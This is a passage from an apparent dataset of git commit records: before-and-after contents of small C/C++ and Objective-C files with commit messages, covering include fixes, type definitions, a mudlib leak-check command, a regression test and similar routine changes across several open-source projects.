BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n#define TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n\n#include <cstdint>\n\n\/\/ IWYU pragma: private, include \"third_party\/tensorflow\/core\/platform\/types.h\"\n\/\/ IWYU pragma: friend third_party\/tensorflow\/core\/platform\/types.h\n\nnamespace tensorflow {\n\ntypedef signed char int8;\ntypedef short int16;\ntypedef int int32;\ntypedef std::int64_t int64;\n\ntypedef unsigned char uint8;\ntypedef unsigned short uint16;\ntypedef unsigned int uint32;\ntypedef std::uint64_t uint64;\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n","subject":"Change definition of tensorflow::int64 to std::int64_t.","message":"Change definition of tensorflow::int64 to std::int64_t.\n\nThere is no reason for TensorFlow to have its own special non-standard `int64` type any more; we can use the standard one instead.\n\nPiperOrigin-RevId: 351674712\nChange-Id: I82c1d67c07436a3f158a029a3a657fef5a05060e\n","lang":"C","license":"apache-2.0","repos":"karllessard\/tensorflow,tensorflow\/tensorflow,gautam1858\/tensorflow,petewarden\/tensorflow,sarvex\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,frreiss\/tensorflow-fred,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,annarev\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,petewarden\/tensorflow,frreiss\/tensorflow-fred,frreiss\/tensorflow-fred,tensorflow\/tensorflow,annarev\/tensorflow,karllessard\/tensorflow,Intel-Corporation\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,frreiss\/tensorflow-fred,yongtang\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,paolodedios\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-Corporation\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,annarev\/tensorflow,petewarden\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,sarvex\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,sarvex\/tensorflow,sarvex\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,annarev\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,tensorflow\/tensorflow,sarvex\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,petewarden\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,karllessard\/tensorflow,Intel-Corporation\/tensorflow,annarev\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,petewarden\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow"}
{"commit":"97369c4ccf54315091fbcfb5909e97768d54cfd0","old_file":"mudlib\/mud\/home\/Verb\/sys\/verb\/ulario\/wiz\/ooc\/blist.c","new_file":"mudlib\/mud\/home\/Verb\/sys\/verb\/ulario\/wiz\/ooc\/blist.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012, 2013, 2014  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/algorithm.h>\n#include <kotaka\/paths\/bigstruct.h>\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/paths\/string.h>\n#include <kotaka\/paths\/verb.h>\n#include <kernel\/access.h>\n#include <status.h>\n\ninherit LIB_VERB;\n\nstring *query_parse_methods()\n{\n\treturn ({ \"raw\" });\n}\n\nint compare(string a, string b)\n{\n\tint na, nb;\n\n\tsscanf(a, \"%s#%d\", a, na);\n\tsscanf(b, \"%s#%d\", b, nb);\n\n\tif (na > nb) {\n\t\treturn 1;\n\t}\n\tif (na < nb) {\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\nvoid printlist(string path)\n{\n\tmixed st;\n\tobject cinfo;\n\tobject obj;\n\n\tst = status(path);\n\n\tif (!st) {\n\t\tsend_out(\"No such object.\\n\");\n\t\treturn;\n\t}\n\n\tcinfo = CLONED->query_clone_info(st[O_INDEX]);\n\n\tif (!cinfo) {\n\t\tsend_out(\"No clone info for object.\\n\");\n\t\treturn;\n\t}\n\n\tobj = cinfo->query_first_clone();\n\n\tdo {\n\t\tsend_out(STRINGD->mixed_sprint(obj) + \", with access grants \" + STRINGD->mixed_sprint(obj->query_grants()) + \"\\n\");\n\n\t\tobj = obj->query_next_clone();\n\t} while (obj != cinfo->query_first_clone());\n}\n\nvoid main(object actor, mapping roles)\n{\n\tif (query_user()->query_class() < 2) {\n\t\tsend_out(\"You do not have sufficient access rights to do a clone check.\\n\");\n\t\treturn;\n\t}\n\n\tprintlist(\"~Bigstruct\/obj\/array\/root\");\n\tprintlist(\"~Bigstruct\/obj\/deque\/root\");\n\tprintlist(\"~Bigstruct\/obj\/map\/root\");\n}\n","subject":"Add a command to check bigstruct owners, used to check for leaks","message":"Add a command to check bigstruct owners, used to check for leaks\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"505b66949e488060daf82413a399b328d05b4ebc","old_file":"tests\/regression\/46-apron2\/24-pipeline-no-threadflag.c","new_file":"tests\/regression\/46-apron2\/24-pipeline-no-threadflag.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.activated[-] threadflag\n\/\/ Minimized from sv-benchmarks\/c\/systemc\/pipeline.cil-1.c\n#include <assert.h>\n\nint main_clk_pos_edge;\nint main_in1_req_up;\n\nint main()\n{\n  \/\/ main_clk_pos_edge = 2; \/\/ TODO: uncomment to unskip apron test\n  if (main_in1_req_up == 1) \/\/ TODO: both branches are dead\n    assert(0); \/\/ TODO: uncomment to unskip apron test, FAIL (unreachable)\n  else\n    assert(1); \/\/ reachable\n  return (0);\n}\n","subject":"Add minimized testcase from both apron branches dead without threadflag","message":"Add minimized testcase from both apron branches dead without threadflag\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bc97f851842b313acf04e099fc95f94676a05894","old_file":"TRVSDictionaryWithCaseInsensitivity\/TRVSDictionaryWithCaseInsensitivity.h","new_file":"TRVSDictionaryWithCaseInsensitivity\/TRVSDictionaryWithCaseInsensitivity.h","old_contents":"\/\/\n\/\/  TRVSDictionaryWithCaseInsensitivity.h\n\/\/  TRVSDictionaryWithCaseInsensitivity\n\/\/\n\/\/  Created by Travis Jeffery on 7\/24\/14.\n\/\/  Copyright (c) 2014 Travis Jeffery. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for TRVSDictionaryWithCaseInsensitivity.\nFOUNDATION_EXPORT double TRVSDictionaryWithCaseInsensitivityVersionNumber;\n\n\/\/! Project version string for TRVSDictionaryWithCaseInsensitivity.\nFOUNDATION_EXPORT const unsigned char TRVSDictionaryWithCaseInsensitivityVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <TRVSDictionaryWithCaseInsensitivity\/PublicHeader.h>\n\n@interface TRVSDictionaryWithCaseInsensitivity : NSDictionary\n\n@end\n\n","new_contents":"\/\/\n\/\/  TRVSDictionaryWithCaseInsensitivity.h\n\/\/  TRVSDictionaryWithCaseInsensitivity\n\/\/\n\/\/  Created by Travis Jeffery on 7\/24\/14.\n\/\/  Copyright (c) 2014 Travis Jeffery. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for TRVSDictionaryWithCaseInsensitivity.\nFOUNDATION_EXPORT double TRVSDictionaryWithCaseInsensitivityVersionNumber;\n\n\/\/! Project version string for TRVSDictionaryWithCaseInsensitivity.\nFOUNDATION_EXPORT const unsigned char TRVSDictionaryWithCaseInsensitivityVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <TRVSDictionaryWithCaseInsensitivity\/PublicHeader.h>\n\n@interface TRVSDictionaryWithCaseInsensitivity : NSDictionary\n\n@end\n\n","subject":"Fix import of foundation - no need for uikit","message":"Fix import of foundation - no need for uikit\n","lang":"C","license":"mit","repos":"travisjeffery\/TRVSDictionaryWithCaseInsensitivity"}
{"commit":"7f2565af8a98c0dc8f3c0bcd3f92098e669208f1","old_file":"SmartDeviceLink\/SDLImageField+ScreenManagerExtensions.h","new_file":"SmartDeviceLink\/SDLImageField+ScreenManagerExtensions.h","old_contents":"\/\/\n\/\/  SDLImageField+ScreenManagerExtensions.h\n\/\/  SmartDeviceLink\n\/\/\n\/\/  Created by Joel Fischer on 5\/20\/20.\n\/\/  Copyright © 2020 smartdevicelink. All rights reserved.\n\/\/\n\n#import <SmartDeviceLink\/SmartDeviceLink.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface SDLImageField (ScreenManagerExtensions)\n\n+ (NSArray<SDLImageField *> *)allImageFields;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  SDLImageField+ScreenManagerExtensions.h\n\/\/  SmartDeviceLink\n\/\/\n\/\/  Created by Joel Fischer on 5\/20\/20.\n\/\/  Copyright © 2020 smartdevicelink. All rights reserved.\n\/\/\n\n#import \"SDLImageField.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface SDLImageField (ScreenManagerExtensions)\n\n+ (NSArray<SDLImageField *> *)allImageFields;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Fix failed import in podspec","message":"Fix failed import in podspec\n","lang":"C","license":"bsd-3-clause","repos":"smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios"}
{"commit":"6a70d7a87c3b684caf67cbccb56753db807fb005","old_file":"ext\/cap2\/cap2.c","new_file":"ext\/cap2\/cap2.c","old_contents":"#include <ruby.h>\n#include <errno.h>\n#include <sys\/capability.h>\n\nstatic VALUE cap2_getpcaps(VALUE self, VALUE pid) {\n  cap_t cap_d;\n  ssize_t length;\n  char *caps;\n  VALUE result;\n\n  Check_Type(pid, T_FIXNUM);\n\n  cap_d = cap_get_pid(NUM2INT(pid));\n\n  if (cap_d == NULL) {\n    rb_raise(\n      rb_eRuntimeError,\n      \"Failed to get cap's for proccess %d: (%s)\\n\",\n      NUM2INT(pid), strerror(errno)\n    );\n  } else {\n    caps = cap_to_text(cap_d, &length);\n    result = rb_str_new(caps, length);\n    cap_free(caps);\n    cap_free(cap_d);\n  }\n\n  return result;\n}\n\nvoid Init_cap2(void) {\n  VALUE rb_mCap2;\n\n  rb_mCap2 = rb_define_module(\"Cap2\");\n\n  rb_define_module_function(rb_mCap2, \"getpcaps\", cap2_getpcaps, 1);\n}\n","new_contents":"#include <ruby.h>\n#include <errno.h>\n#include <sys\/capability.h>\n\nstatic VALUE cap2_getpcaps(VALUE self, VALUE pid) {\n  cap_t cap_d;\n  ssize_t length;\n  char *caps;\n  VALUE result;\n\n  Check_Type(pid, T_FIXNUM);\n\n  cap_d = cap_get_pid(FIX2INT(pid));\n\n  if (cap_d == NULL) {\n    rb_raise(\n      rb_eRuntimeError,\n      \"Failed to get cap's for proccess %d: (%s)\\n\",\n      FIX2INT(pid), strerror(errno)\n    );\n  } else {\n    caps = cap_to_text(cap_d, &length);\n    result = rb_str_new(caps, length);\n    cap_free(caps);\n    cap_free(cap_d);\n  }\n\n  return result;\n}\n\nvoid Init_cap2(void) {\n  VALUE rb_mCap2;\n\n  rb_mCap2 = rb_define_module(\"Cap2\");\n\n  rb_define_module_function(rb_mCap2, \"getpcaps\", cap2_getpcaps, 1);\n}\n","subject":"Use FIX2INT rather than NUM2INT in Cap2.getpcaps","message":"Use FIX2INT rather than NUM2INT in Cap2.getpcaps\n","lang":"C","license":"mit","repos":"lmars\/cap2,lmars\/cap2"}
{"commit":"87a45b118a9b0c723fb0102842b47bf754e57ebf","old_file":"include\/scratch\/bits\/utility\/nth-t.h","new_file":"include\/scratch\/bits\/utility\/nth-t.h","old_contents":"","new_contents":"#pragma once\n\n#include <cstddef>\n\nnamespace scratch {\n\ntemplate<size_t Index, typename T, typename... Rest> struct nth : nth<Index-1, Rest...> {};\ntemplate<typename T, typename... Rest> struct nth<0, T, Rest...> { using type = T; };\n\ntemplate<size_t Index, typename... Ts> using nth_t = typename nth<Index, Ts...>::type;\n\n} \/\/ namespace scratch\n","subject":"Add a template type alias `scratch::nth_t<I, Ts...>` for the nth element of a pack.","message":"Add a template type alias `scratch::nth_t<I, Ts...>` for the nth element of a pack.\n\nThe equivalent for (perfectly forwarded) values is basically\n\n    std::get<I>(std::forward_as_tuple(std::forward<Vs>(vs)...))\n\nbut since I haven't implemented `std::tuple` yet, I'm passing on that one.\n","lang":"C","license":"mit","repos":"Quuxplusone\/from-scratch,Quuxplusone\/from-scratch,Quuxplusone\/from-scratch"}
{"commit":"6e2bee2717a640046dd323972d9c7238d8184797","old_file":"include\/ccspec\/core\/example_group.h","new_file":"include\/ccspec\/core\/example_group.h","old_contents":"#ifndef CCSPEC_CORE_EXAMPLE_GROUP_H_\n#define CCSPEC_CORE_EXAMPLE_GROUP_H_\n\n#include <functional>\n#include <list>\n#include <stack>\n#include <string>\n\nnamespace ccspec {\nnamespace core {\n\nclass ExampleGroup;\n\ntypedef ExampleGroup* Creator(std::string desc, std::function<void ()> spec);\n\nclass ExampleGroup {\n  public:\n    virtual ~ExampleGroup();\n\n    void addChild(ExampleGroup*);\n\n  protected:\n    ExampleGroup(std::string desc);\n\n  private:\n    std::string desc_;\n    std::list<ExampleGroup*> children_;\n\n    friend Creator describe;\n    friend Creator context;\n};\n\nextern std::stack<ExampleGroup*> groups_being_defined;\n\nCreator describe;\nCreator context;\n\n} \/\/ namespace core\n} \/\/ namespace ccspec\n\n#endif \/\/ CCSPEC_CORE_EXAMPLE_GROUP_H_\n","new_contents":"#ifndef CCSPEC_CORE_EXAMPLE_GROUP_H_\n#define CCSPEC_CORE_EXAMPLE_GROUP_H_\n\n#include <functional>\n#include <list>\n#include <stack>\n#include <string>\n\nnamespace ccspec {\nnamespace core {\n\nclass ExampleGroup;\n\ntypedef ExampleGroup* Creator(std::string desc, std::function<void ()> spec);\n\nextern std::stack<ExampleGroup*> groups_being_defined;\n\nclass ExampleGroup {\n  public:\n    virtual ~ExampleGroup();\n\n    void addChild(ExampleGroup*);\n\n  protected:\n    ExampleGroup(std::string desc);\n\n  private:\n    std::string desc_;\n    std::list<ExampleGroup*> children_;\n\n    friend Creator describe;\n    friend Creator context;\n};\n\nCreator describe;\nCreator context;\n\n} \/\/ namespace core\n} \/\/ namespace ccspec\n\n#endif \/\/ CCSPEC_CORE_EXAMPLE_GROUP_H_\n","subject":"Move global variable declaration for consistency","message":"Move global variable declaration for consistency\n","lang":"C","license":"mit","repos":"zhangsu\/ccspec,tempbottle\/ccspec,michaelachrisco\/ccspec,zhangsu\/ccspec,michaelachrisco\/ccspec,tempbottle\/ccspec,michaelachrisco\/ccspec,tempbottle\/ccspec,zhangsu\/ccspec"}
{"commit":"a6c7d872c26713d43f0152ce23abf4c6eccfc609","old_file":"grantlee_core_library\/filterexpression.h","new_file":"grantlee_core_library\/filterexpression.h","old_contents":"\/*\n    Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n*\/\n\n#ifndef FILTER_H\n#define FILTER_H\n\n#include \"variable.h\"\n\n#include \"grantlee_export.h\"\n\nnamespace Grantlee\n{\nclass Parser;\n}\n\nclass Token;\n\nnamespace Grantlee\n{\n\nclass GRANTLEE_EXPORT FilterExpression\n{\npublic:\n  enum Reversed\n  {\n    IsNotReversed,\n    IsReversed\n  };\n\n  FilterExpression();\n  FilterExpression(const QString &varString, Grantlee::Parser *parser = 0);\n\n  int error();\n\n\/\/   QList<QPair<QString, QString> > filters();\n  Variable variable();\n\n  QVariant resolve(Context *c);\n\n  bool isTrue(Context *c);\n\n  QVariantList toList(Context *c);\n\nprivate:\n  Variable m_variable;\n  int m_error;\n\n};\n\n}\n\n#endif\n","new_contents":"\/*\n    Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n*\/\n\n#ifndef FILTEREXPRESSION_H\n#define FILTEREXPRESSION_H\n\n#include \"variable.h\"\n\n#include \"grantlee_export.h\"\n\nnamespace Grantlee\n{\nclass Parser;\n}\n\nclass Token;\n\nnamespace Grantlee\n{\n\nclass GRANTLEE_EXPORT FilterExpression\n{\npublic:\n  enum Reversed\n  {\n    IsNotReversed,\n    IsReversed\n  };\n\n  FilterExpression();\n  FilterExpression(const QString &varString, Grantlee::Parser *parser = 0);\n\n  int error();\n\n\/\/   QList<QPair<QString, QString> > filters();\n  Variable variable();\n\n  QVariant resolve(Context *c);\n\n  bool isTrue(Context *c);\n\n  QVariantList toList(Context *c);\n\nprivate:\n  Variable m_variable;\n  int m_error;\n\n};\n\n}\n\n#endif\n","subject":"Use a correct include guard","message":"Use a correct include guard\n","lang":"C","license":"lgpl-2.1","repos":"simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee"}
{"commit":"baa17436b073514a3739fad3b487c0bee90afb5d","old_file":"include\/corsika\/particle\/VParticleProperties.h","new_file":"include\/corsika\/particle\/VParticleProperties.h","old_contents":"\/**\n   \\file\n   Particle property interface\n\n   \\author Lukas Nellen\n   \\version $Id$\n   \\date 03 Apr 2004\n*\/\n\n#pragma once\n#include <string>\n\nnamespace corsika\n{\n\n  \/**\n     \\class VParticleProperties VParticleProperties.h \"corsika\/VParticleProperties.h\"\n\n     \\brief Internal interface for particle properties. This is\n     intended to be implemented for elementary particles and nuclei.\n\n     \\note This is an internal interface and not available for user code.\n\n     \\author Lukas Nellen\n     \\date 03 Apr 2004\n     \\ingroup particles\n  *\/\n\n  class VParticleProperties {\n\n  public:\n    virtual ~VParticleProperties() { }\n\n    \/\/\/ Get particle type (using PDG particle codes)\n    virtual int GetType() const = 0;\n\n    \/\/\/ Get particle name\n    virtual std::string GetName() const = 0;\n\n    \/\/\/ Get particle mass (in Auger units)\n    virtual double GetMass() const = 0;\n\n  };\n\n\n  typedef std::shared_ptr<const VParticleProperties> ParticlePropertiesPtr;\n\n\n}\n","new_contents":"\/**\n   \\file\n   Particle property interface\n\n   \\author Lukas Nellen\n   \\version $Id$\n   \\date 03 Apr 2004\n*\/\n\n#pragma once\n#include <string>\n#include <memory.h>\n\nnamespace corsika\n{\n\n  \/**\n     \\class VParticleProperties VParticleProperties.h \"corsika\/VParticleProperties.h\"\n\n     \\brief Internal interface for particle properties. This is\n     intended to be implemented for elementary particles and nuclei.\n\n     \\note This is an internal interface and not available for user code.\n\n     \\author Lukas Nellen\n     \\date 03 Apr 2004\n     \\ingroup particles\n  *\/\n\n  class VParticleProperties {\n\n  public:\n    virtual ~VParticleProperties() { }\n\n    \/\/\/ Get particle type (using PDG particle codes)\n    virtual int GetType() const = 0;\n\n    \/\/\/ Get particle name\n    virtual std::string GetName() const = 0;\n\n    \/\/\/ Get particle mass (in Auger units)\n    virtual double GetMass() const = 0;\n\n  };\n\n\n  typedef std::shared_ptr<const VParticleProperties> ParticlePropertiesPtr;\n\n\n}\n","subject":"Add one more memory include","message":"Add one more memory include\n","lang":"C","license":"bsd-2-clause","repos":"javierggt\/corsika_reader,javierggt\/corsika_reader,javierggt\/corsika_reader"}
{"commit":"e1c47c5248d8c0d0bbb2462b73cd7ee031ef85d3","old_file":"src\/engine\/core\/include\/halley\/core\/entry\/entry_point.h","new_file":"src\/engine\/core\/include\/halley\/core\/entry\/entry_point.h","old_contents":"#pragma once\n\n#include <memory>\n#include <vector>\n#include \"halley\/core\/game\/main_loop.h\"\n\n#ifdef _WIN32\n#define HALLEY_STDCALL __stdcall\n#else\n#define HALLEY_STDCALL\n#endif\n\nnamespace Halley\n{\n\tclass Game;\n\tclass Core;\n\tclass HalleyStatics;\n\n\tconstexpr static uint32_t HALLEY_DLL_API_VERSION = 23;\n\t\n\tclass IHalleyEntryPoint\n\t{\n\tpublic:\n\t\tvirtual ~IHalleyEntryPoint() = default;\n\n\t\tvoid initSharedStatics(const HalleyStatics& parent);\n\t\tvirtual uint32_t getApiVersion() { return HALLEY_DLL_API_VERSION; }\n\t\t\n\t\tvirtual std::unique_ptr<Core> createCore(const std::vector<std::string>& args) = 0;\n\t\tvirtual std::unique_ptr<Game> createGame() = 0;\n\t};\n\n\ttemplate <typename GameType>\n\tclass HalleyEntryPoint final : public IHalleyEntryPoint\n\t{\n\tpublic:\n\t\tstd::unique_ptr<Game> createGame() override\n\t\t{\n\t\t\treturn std::make_unique<GameType>();\n\t\t}\n\n\t\tstd::unique_ptr<Core> createCore(const std::vector<std::string>& args) override\n\t\t{\n\t\t\tExpects(args.size() >= 1);\n\t\t\tExpects(args.size() < 1000);\n\t\t\treturn std::make_unique<Core>(std::make_unique<GameType>(), args);\n\t\t}\n\t};\n}\n","new_contents":"#pragma once\n\n#include <memory>\n#include <vector>\n#include \"halley\/core\/game\/main_loop.h\"\n\n#ifdef _WIN32\n#define HALLEY_STDCALL __stdcall\n#else\n#define HALLEY_STDCALL\n#endif\n\nnamespace Halley\n{\n\tclass Game;\n\tclass Core;\n\tclass HalleyStatics;\n\n\tconstexpr static uint32_t HALLEY_DLL_API_VERSION = 24;\n\t\n\tclass IHalleyEntryPoint\n\t{\n\tpublic:\n\t\tvirtual ~IHalleyEntryPoint() = default;\n\n\t\tvirtual uint32_t getApiVersion() { return HALLEY_DLL_API_VERSION; }\n\t\tvirtual std::unique_ptr<Core> createCore(const std::vector<std::string>& args) = 0;\n\t\tvirtual std::unique_ptr<Game> createGame() = 0;\n\t\tvoid initSharedStatics(const HalleyStatics& parent);\n\t};\n\n\ttemplate <typename GameType>\n\tclass HalleyEntryPoint final : public IHalleyEntryPoint\n\t{\n\tpublic:\n\t\tstd::unique_ptr<Game> createGame() override\n\t\t{\n\t\t\treturn std::make_unique<GameType>();\n\t\t}\n\n\t\tstd::unique_ptr<Core> createCore(const std::vector<std::string>& args) override\n\t\t{\n\t\t\tExpects(args.size() >= 1);\n\t\t\tExpects(args.size() < 1000);\n\t\t\treturn std::make_unique<Core>(std::make_unique<GameType>(), args);\n\t\t}\n\t};\n}\n","subject":"Move new method on interface further down to avoid messing with vtable compatibility","message":"Move new method on interface further down to avoid messing with vtable compatibility\n","lang":"C","license":"apache-2.0","repos":"amzeratul\/halley,amzeratul\/halley,amzeratul\/halley"}
{"commit":"4771a29b5042fc9496f4d72f76c0151fe73716ba","old_file":"src\/placement\/apollonius_labels_arranger.h","new_file":"src\/placement\/apollonius_labels_arranger.h","old_contents":"#ifndef SRC_PLACEMENT_APOLLONIUS_LABELS_ARRANGER_H_\n\n#define SRC_PLACEMENT_APOLLONIUS_LABELS_ARRANGER_H_\n\n#include <Eigen\/Core>\n#include <memory>\n#include <vector>\n#include \".\/labels_arranger.h\"\n\nclass CudaArrayProvider;\n\nnamespace Placement\n{\n\n\/**\n * \\brief Returns the labels in an order defined by the apollonius graph\n *\n *\/\nclass ApolloniusLabelsArranger : public LabelsArranger\n{\n public:\n  ApolloniusLabelsArranger() = default;\n  virtual ~ApolloniusLabelsArranger();\n\n  void\n  initialize(std::shared_ptr<CudaArrayProvider> distanceTransformTextureMapper,\n             std::shared_ptr<CudaArrayProvider> apolloniusTextureMapper);\n\n  virtual std::vector<Label>\n  getArrangement(const LabellerFrameData &frameData,\n                 std::shared_ptr<LabelsContainer> labels);\n\n private:\n  std::shared_ptr<CudaArrayProvider> distanceTransformTextureMapper;\n  std::shared_ptr<CudaArrayProvider> apolloniusTextureMapper;\n\n  std::vector<Eigen::Vector4f>\n  createLabelSeeds(Eigen::Vector2i size, Eigen::Matrix4f viewProjection,\n                   std::shared_ptr<LabelsContainer> labels);\n};\n\n}  \/\/ namespace Placement\n\n#endif  \/\/ SRC_PLACEMENT_APOLLONIUS_LABELS_ARRANGER_H_\n","new_contents":"#ifndef SRC_PLACEMENT_APOLLONIUS_LABELS_ARRANGER_H_\n\n#define SRC_PLACEMENT_APOLLONIUS_LABELS_ARRANGER_H_\n\n#include <Eigen\/Core>\n#include <memory>\n#include <vector>\n#include \".\/labels_arranger.h\"\n\nclass CudaArrayProvider;\n\nnamespace Placement\n{\n\n\/**\n * \\brief Returns the labels in an order defined by the apollonius graph\n *\n *\/\nclass ApolloniusLabelsArranger : public LabelsArranger\n{\n public:\n  ApolloniusLabelsArranger() = default;\n\n  void\n  initialize(std::shared_ptr<CudaArrayProvider> distanceTransformTextureMapper,\n             std::shared_ptr<CudaArrayProvider> apolloniusTextureMapper);\n\n  virtual std::vector<Label>\n  getArrangement(const LabellerFrameData &frameData,\n                 std::shared_ptr<LabelsContainer> labels);\n\n private:\n  std::shared_ptr<CudaArrayProvider> distanceTransformTextureMapper;\n  std::shared_ptr<CudaArrayProvider> apolloniusTextureMapper;\n\n  std::vector<Eigen::Vector4f>\n  createLabelSeeds(Eigen::Vector2i size, Eigen::Matrix4f viewProjection,\n                   std::shared_ptr<LabelsContainer> labels);\n};\n\n}  \/\/ namespace Placement\n\n#endif  \/\/ SRC_PLACEMENT_APOLLONIUS_LABELS_ARRANGER_H_\n","subject":"Remove unused and not implement ApolloniusLabelsArranger destructor.","message":"Remove unused and not implement ApolloniusLabelsArranger destructor.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
